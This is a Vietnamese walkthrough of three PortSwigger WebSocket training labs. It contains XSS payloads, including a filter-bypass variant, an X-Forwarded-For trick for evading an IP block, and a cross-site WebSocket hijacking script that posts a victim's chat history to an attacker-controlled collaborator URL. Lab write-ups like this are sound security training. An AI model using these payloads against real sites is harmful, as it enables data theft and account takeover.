# Portswigger Websockets 😴 <style>body {text-align: justify}</style> Hi, dưới đây là writeup của 3/3 bài lab về lỗ hổng [WebSockets](https://portswigger.net/web-security/websockets) mình đã solve trong quá trình ôn tập thi chứng chỉ của Portswigger. ### 1. Manipulating WebSocket messages to exploit vulnerabilities ##### Description > This online shop has a live chat feature implemented using WebSockets. > > Chat messages that you submit are viewed by a support agent in real time. > > To solve the lab, use a WebSocket message to trigger an `alert()` popup in the support agent's browser. ##### Writeup Ứng dụng có chức năng Live Chat. Thử chat với nội dung bất kì như hình. ![](https://i.imgur.com/hHz9hAZ.png) Các message sẽ được giao tiếp giữa client-server bằng web sockets. ![](https://i.imgur.com/nUw2mIY.png) Kiểm tra source `chat.js` ta thấy các message được render thông qua innerHTML và không có cơ chế validate message. Có khả năng bị dính DOM XSS. ![](https://i.imgur.com/aj1GrsO.png) Kiểm tra cách message được render trong tag `<td>` ![](https://i.imgur.com/UpBtIjc.png) Gửi message với XSS payload `<img src=1 onerror=alert(1)>`. ![](https://i.imgur.com/kP1zAsb.png) Lúc này XSS thành công và ta solve được challenge. ![](https://i.imgur.com/m5pC5G2.png) ### 2. Manipulating the WebSocket handshake to exploit vulnerabilities ##### Description > This online shop has a live chat feature implemented using WebSockets. > > It has an aggressive but flawed XSS filter. > > To solve the lab, use a WebSocket message to trigger an `alert()` popup in the support agent's browse ##### Writeup Ứng dụng có chức năng Live chat. ![](https://i.imgur.com/XO108YX.png) Gửi payload tương tự lab 1 thì đã bị filter. ![](https://i.imgur.com/5JmtTGF.png) ![](https://i.imgur.com/AtOXScU.png) Và sau đó cũng đã bị block IP. ![](https://i.imgur.com/ylBC0zg.png) Ta sẽ thao tác lại các bước bắt tay giữa client-server để giao tiếp như các bước sau: - Reconnect ![](https://i.imgur.com/0WAYoNH.png) - Thêm header `X-Forwarded-For: 127.0.0.1` để bypass IP block. ![](https://i.imgur.com/ReBC2a9.png) - Kết nối lại thành công. ![](https://i.imgur.com/cgFcj4V.png) Làm lại các bước trên với payload XSS khác. Thực hiện cho đến khi bypass với: ``` <img src=1 oNeRrOr=alert`1`> ``` ![](https://i.imgur.com/dAAGjdv.png) Trigger XSS thành công và ta solve được challenge. ![](https://i.imgur.com/AQ1i78X.png) ### 3. Cross-site WebSocket hijacking ##### Description > This online shop has a live chat feature implemented using WebSockets. > > To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attack to exfiltrate the victim's chat history, then use this gain access to their account. ##### Writeup Mỗi session live chat sẽ được lưu lịch sử dựa vào session cookie. ![](https://i.imgur.com/i9N44d2.png) Chat thử nội dung bất kì và thoát ra. Quay lại đoạn chat ta sẽ thấy history sẽ được load. ![](https://i.imgur.com/lIWwJJf.png) Bây giờ thực hiện CSWSH để lừa nạn nhân khiến nó gửi history về domain của mình control. Khi bắt đầu hay quay lại live chat, client sẽ gửi server `READY`. ![](https://i.imgur.com/FtJuxz6.png) Ta sẽ viết payload thực hiện gửi `READY` đến web socket url trước rồi khi nó load tin nhắn thì tận dụng sự kiện onmessage để trả tất cả message về collaborator. ```javascript <script> var ws = new WebSocket('wss://your-websocket-url'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data}); }; </script> ``` Lưu payload vào exploit-server. ![](https://i.imgur.com/Ydwv0H4.png) Thử `View exploit` ta thấy lịch sử chat của mình đã được gửi về collaborator &rarr; Attack thành công. ![](https://i.imgur.com/Zr2s8vC.png) `Deliver exploit to victim` và ta nhận được lịch sử chat của nạn nhân. Tìm được message chứa account của carlos. ![](https://i.imgur.com/kKD6UEg.png) Đăng nhập bằng account lấy được và ta solve được challenge. ![](https://i.imgur.com/XxgIfKH.png) ###### tags: `portswigger`, `ws`, `client-side`